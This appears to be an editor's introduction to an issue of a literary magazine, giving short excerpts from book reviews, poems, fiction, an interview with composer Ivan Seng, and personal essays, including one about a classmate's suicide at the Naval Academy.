CaptureFrank Stanford

Allan Cooper reviews What About This, The Collected Poems of Frank Stanford. Stanford was a great, undersung, Mississippi-born cult poet, one of those divine eccentrics. The book has been named a finalist for the National Book Critics Circle Award in Poetry, winner to be announced March 17.

If we’re lucky, once or twice in a generation an artist comes along who changes the complexion of our entire landscape and gives us a way of seeing the world as we have never experienced it before. Often these artists receive little or no recognition in their lifetimes, and it takes years–sometimes generations–for their genius to be acknowledged. I think of the work of William Blake and John Clare, Emily Dickinson, Vincent van Gogh, Paula Modersohn-Becker and the haunting, other-worldly poems of Frank Stanford. —Allan Cooper

Ivan Seng in concertIvan Seng

New to the magazine, Carolyn Ogburn answered one of my want-ads for a music writer. This is her first contribution, an interview with the North Carolina musician/composer Ivan Seng. The title of the piece is “a random walk,” but you need to know what a random walk is. See below where Ivan Seng explains.

Well, random walk is a mathematical term. It comes from Brownian motion. Do you remember the story of the guy [botanist Robert Brown] who was looking though his microscope at tiny particles in water. He saw these particles and he saw them bouncing around – he saw that these particles were following this completely random motion, Brownian motion – and I think it’s how they realized that there were atoms, because it ended up being that these atoms were bouncing off of these small little particles and it was pushing the particles around… So if we took a very basic motion… say you have a 3-sided die, marked 0-1-2, and each number correlates to a particular movement.  And [your particle, or sound, in its own placement is affected by the dictates of the die] and you start at a certain number, 0, and you can go up a step or down a step. But it’s unpredictable. —Ivan Seng

Carolyn OgburnCarolyn Ogburn

Kenneth HarrisonKenneth E. Harrison, Jr.

We also have a fist full of poems from Kenneth E. Harrison, Jr., delicate, lambent, melancholy.

A morning difficult to walk across
the slain crocuses a song
or a silent movie
a memory of a wound
floated out to sea
at the beginning of the war
the fields covered by searchlights
at the edge of a garden before we were born

—Kenneth E. Harrison

Lina WolffLina Wolff

Mark Sampson reviews the wild and wooly collection of fragments/stories Bret Easton Ellis and the Other Dogs by the Swedish writer Lina Wolff.

Wolff’s project – a text at once fragmented enough to pass for a short story collection and yet untraceably centred on the character of Alba Cambó, a writer of violent, horrifying tales who has been diagnosed with terminal cancer – draws a connection between the canine-like nature of human males and the limitations of revenge against their more animalistic natures by women.  — Mark  Sampson

Georgi-TenevGeorgi Tenev

Natalia Sarkissian reviews Party Headquarters by the Bulgarian novelist Georgi Tenev.

In Party Headquarters Georgi Tenev reduces the traditional novel with its linear time, clear relationships, memory and complex characters to an indissoluble essence. Characters, for example, are nameless—they are merely bodies or even types. Memory, hallucination and current narrative merge creating a fluid world where time is relative. —Natalia Sarkissian

Alan-Cunningham-03 19.33.08Alan Cunningham

We have this month inspired, comic, eccentric, Monty Python-esque fiction from the Irish writer Alan Cunningham.

Idea for a script, no, play.

No, idea for a novel.

A man – no, woman – too many men in literature, opens a suitcase in a living room of a building apartment, starts to place all these, like, well, all these different objects into it. Not sure what they could be – yet. She puts all these – well, things – she puts all these things into the suitcase, leaves her apartment in a city – let’s say, London – and starts walking. —Alan Cunningham

Richard SkinnerRichard Skinner

The English novelist turns his hand to short story analysis and structure, beginning his exploration with Alice Munro’s short story “Jakarta,” using a device called the Greimas Semiotic Square to parse a set of relationships he finds crucial to the short story.

All these magnificent stories are highly organised, intense studies of humans interacting and behaving oddly with each other. They throw light on sublimated desires and warped motives. Ultimately, however, in all of these stories, it is some kind of lack, absence or failure of one corner of the square that triggers catastrophic change and collapse in the other three. There must be a black hole, a sacrificial lamb, for the story to work and it is these black holes that are the secret keys to the stories. Through them, we slip down a wormhole and emerge at the story’s end with fresh understanding of just how weird and wonderful human beings can be. —Richard Skinner

Julian_bioJulian Hanna

Julian Hanna contributes an offbeat What It’s Like Living Here piece, Julian walking in Madeira where he lives, a tale of a complicated beauty, of a place both difficult and enticing.

If I dig deep, I think it’s that I love the contrast – between the breathtaking beauty, the tropical flowers and sun and sea on one hand; and the plague of traffic and stupidity and all kinds of human failings, which are universal failings, on the other. Anyone who has travelled in southern European cities like Athens or Barcelona or Naples, not to mention the cities of the global south, knows this contrast and its peculiar frisson. Something about the ugliness and beauty of human life, the union of pain and pleasure, is ultimately why I live here and why I walk. I like things to be difficult. —Julian Hanna

Karen MulhallenKaren Mulhallen

Karen Mulhallen returns to the magazine with a handful of love poems, mad love, foolish love — is there any other kind?

It can’t be helped
I wasn’t ready, or maybe I was really ready
ready for love
had no defenses
wasn’t prepared
just jumped in
and now
the undertow is
taking me down.

—Karen Mulhallen

Richard FarrellRichard Farrell

Richard Farrell continues to mine the stories of his past, especially his years as a prospective U. S. Navy pilot — this time a sublime and sublimely sad essay about a classmate, a plebe, who committed suicide at the Academy.

Ten years after the Worcester Air Show, still pursuing my dream of becoming a Navy pilot, I returned from physics lab to my room at the United States Naval Academy, only to find that a plebe from 10th Company had climbed out of his fifth-floor window and plunged to the brick walkway below.

His shattered, uniformed body was visible from my window as paramedics rushed in vain to save his life. Ambulances, fire trucks, and police cars had cordoned off the road, but the air was eerily still. I expected sirens, but heard only the chirping of birds, the rustle of a breeze off the Chesapeake. Again, it was September. A warm, clear day sparkled. Spinnakers billowed on the Severn River as sailboats tacked their way out to the hazy bay. —Richard Farrell

Jenny ErpenbeckJenny Erpenbeck

Frank Richardson reviews a book he loves, Jenny Erpenbeck’s The End of Days.

The End of Days, a book of elegant style and penetrating insight, filled with arresting characters and provocative questions, is a book to come back to a second time, and a third, and . . . who knows how many times? Erpenbeck writes with a gentle intensity—a feeling light as a dream yet so grounded in the moment that if a grenade exploded outside your window, you wouldn’t jump. Although death frames the novel, The End of Days celebrates the beginning of days, for it affirms life’s multiplicity and the potential of every human life. Erpenbeck quotes W. G. Sebald’s Austerlitz in an epigraph; in part, he asks—“where will we be going now?” This question vibrates throughout her novel and remains with us as we move on from this book, and this life, to the next. — Frank Richardson

Sam-Savage-author-photo1-923x1024Sam Savage

Jeff Bursey sums up the life & works of the great Sam Savage.

Sam Savage has a genius for getting inside his characters’ heads and bringing out their worst and best traits in such a way that we are never in doubt that the individual—it can be man or woman or, yes, animal—is a presence who has felt pain and sorrow and has a story to tell. His lead characters are intensely believable because the language is intense and believable. This exquisite combination of words and psychology, along with Savage’s knowing penchant for idiosyncratic behaviour, is rare indeed, not found in fiction as frequently as we might desire. —Jeff Bursey


jose_eduardo_agualusa_0José Eduardo Agualusa

Jeff Bursey, who appears twice, yes, in this issue, reviews the novel A General Theory of Oblivion by history-obsessed, Angolan-Portuguese author José Eduardo Agualusa.

…strong women, women praised for their beauty, ignorant men, thick-headed and greedy men, victims of tragedy, and the kind-hearted. Above them all is Ludovica (Ludo) who has accompanied her sister, Odete, and her new brother-in-law, Orlando, from Portugal to Angola just before independence is brought about. She is the figure Agualusa focuses on. Through her, despite her isolation in an apartment building, we are given an overview of Angolan history and society. —Jeff Bursey

self-portrait through a keyholeRoger Weingarten, Self Portrait through a Keyhole

And there is, as I always say, MORE! Including art work from the poet Roger Weingarten, excerpts from the anthology DIRT: A Love Story, a new NC at the Movies, and new work from Ireland.